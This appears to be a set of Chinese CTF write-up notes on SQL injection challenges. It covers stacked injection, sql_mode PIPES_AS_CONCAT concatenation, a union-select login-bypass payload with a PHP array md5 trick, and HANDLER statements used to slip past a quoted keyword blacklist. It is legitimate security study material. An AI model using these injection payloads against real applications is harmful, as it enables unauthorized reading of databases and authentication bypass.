sqli注入专题
0x01 [强网杯 2019]随便注 1(堆叠注入)
ps:不是我就在想啊靶场是什么玩意啊,实战题都是什么牛马啊
,我不理解并且大为震撼怎么会有这么多的注入姿势啊???
直接给出参考链接这个最全了
四个方法:
1、预编译拼接法
2、预编译进制法
3、更改表名法
4、handle特殊法
解释都在链接里了
0x02 [SUCTF 2019]EasySQL 1(堆叠注入)
每个小白看完wp都会觉得离谱的猜测代码做法,代码拼接后的逻辑我理解,这里主要记录下这种注入语句:select *,1||flag from Flag
,还有第二种堆叠注入的方法要设置参数,也记录一下
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完相当于select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
具体做法看这篇博客
0x03 [GXYCTF2019]BabySQli 1
- ps:这题蛮坑的,不看源码好难做啊,很多都过滤了页面没什么反应,连()都过滤
丧心病狂
base32与base64编码的特点
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/,通常有两个=;
base32中只包含大写字母(A-Z)和数字234567,通常有或没有三个=
联合注入的特性
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。但是也是个临时数据,刷新后不会保存。
我们构造payload:name=admin' union select 1,'admin',NULL#&pw[]=123
这里会查询name=admin和pw=null的数据,但是数据库里很明显没有这样的数据,这时我们就可以临时创造
这样一个name=admin和pw=null的数据保存在数据库里,pw传一个数组md5加密会返回一个null就正好对应上了(当然不看源码我也不懂哪里有md5的提示)
关健代码:
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
}
老朋友函数:
mysqli_query(connection,query,resultmode);
connection 必需。规定要使用的 MySQL 连接。
query 必需,规定查询字符串。
resultmode 可选。一个常量。可以是下列值中的任意一个:
MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)
MYSQLI_STORE_RESULT(默认)
执行查找语句
——————————————————————————————
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回。
0x04 [GYCTF2020]Blacklist 1
- ps:随便注的升级版
这题过滤了很多东西:preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
把碰到这些关键词的背后也全部注释,这是个强过滤,注入基本不能用了,这种时候就要考虑到堆叠注入:show databases; 获取数据库名 show tables from databases; 获取表名 show columns from table_name; 获取列名
handler语法
句柄:句柄(Handle)是一个是用来标识对象或者项目的标识符,可以用来描述窗体、文件等。
翻译成白话就是,句柄 相当于一个指针,是一个广义的指针,不是特定指向某一个形式(整数、数组、对象等)。
基本用法:
1、打开句柄
handler handler_table open;
2、查看数据
handler handler_table read first;
handler handler_table read next;
3、关闭句柄
handler handler_table close;
通过索引查看表:
1、创建索引
create index handler_index on handler_table(id);
2、打开句柄
handler handler_table open;
# 打开句柄并命名为 p
handler handler_table open as p;
2(1)指定索引,例如:
# 指定索引开始查看数据
handler p read handler_index = (2);
3、查看数据
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
4、关闭句柄
handler p close;